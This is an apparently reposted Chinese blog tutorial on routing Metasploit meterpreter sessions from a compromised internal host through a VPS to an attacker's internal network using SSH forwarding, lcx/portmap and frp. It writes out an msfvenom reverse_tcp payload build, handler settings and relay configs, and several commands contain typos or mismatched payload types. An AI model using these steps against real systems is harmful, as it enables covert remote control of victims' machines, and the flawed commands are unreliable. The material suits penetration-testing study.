msf的端口转发

栏目: 服务器 · 发布时间: 6年前

内容简介:内网1的目标 < = > VPS < = > 内网2的msf先介绍一下关于SSH的端口转发。访问本地的8000端口,就是访问host:9000。

需求:

内网1的目标 < = > VPS < = > 内网2的msf

SSH

概念

先介绍一下关于SSH的端口转发。

本地转发

访问本地的8000端口,就是访问host:9000。

ssh -L 8000:127.0.0.1:9000 user@host

远程转发

访问host:9000端口,就是访问本地的8000端口。

ssh -R 9000:127.0.0.1:8000 user@host

正向隧道

反向隧道

socket代理

msf的端口转发

需求

首先需要配置VPS ssh服务,编辑 /etc/ssh/sshd_config

在文件最后添加:

GatewayPorts yes

msf生成shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[vpsIP] LPORT=[vpsPort] -f exe -o test.exe

上传至内网1目标机器,运行. 然后在内网2的bash中,通过SSH远程转发,监听VPS的端口。

ssh -N -R vpsPost:192.168.40.136:localPort ubuntu@vps -i ***

然后在msf中进行监听。

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.40.136
set lport localPort
expoit

理论上来讲,这个应该是可以的。测试过程中,发现可以收到连接。 但是,弹不出命令执行。。。 (貌似偶尔成功过)

msf的端口转发

msf的端口转发

揣测一下,应该是ssh端口转发的时候,出现了什么问题。。。

lcx

对于lcx还没研究,只是解决了需求,慢慢补充。

#vps上
./portmap -m 2 -p1 44444 -p2 44445
# 将44444端口的内容转到44445.
# 内网1目标将连接44444,内网2的msf连接44445

# 生成shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[vpsIP] LPORT=44444 -f exe -o test.exe

# 内网2的msf
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set Rhost [vpsIp] # 注意这里是Rhost
set lport 44445
run

frp

项目地址: https://github.com/fatedier/frp , 可以通过release下载编译好的内容。

这个东西分为客户端和服务端。

VPS上

# frps.ini
[common]
bind_port = 44445
# 启动监听
./frps -c frps.ini

内网2的msf

# frpc.ini
[common]
server_addr = [vpsIP]
server_port = 44445

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 44443
remote_port = 44444
# 开始转发
./frpc -c frpc.ini

# 生成的木马依然是访问vps的44444端口
# msf
use exploit/multi/handler 
set payload windows/meterpreter/bind_tcp
set lhost 127.0.0.1 
set lport 44443
run

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

An Introduction to the Analysis of Algorithms

An Introduction to the Analysis of Algorithms

Robert Sedgewick、Philippe Flajolet / Addison-Wesley Professional / 1995-12-10 / CAD 67.99

This book is a thorough overview of the primary techniques and models used in the mathematical analysis of algorithms. The first half of the book draws upon classical mathematical material from discre......一起来看看 《An Introduction to the Analysis of Algorithms》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

SHA 加密
SHA 加密

SHA 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具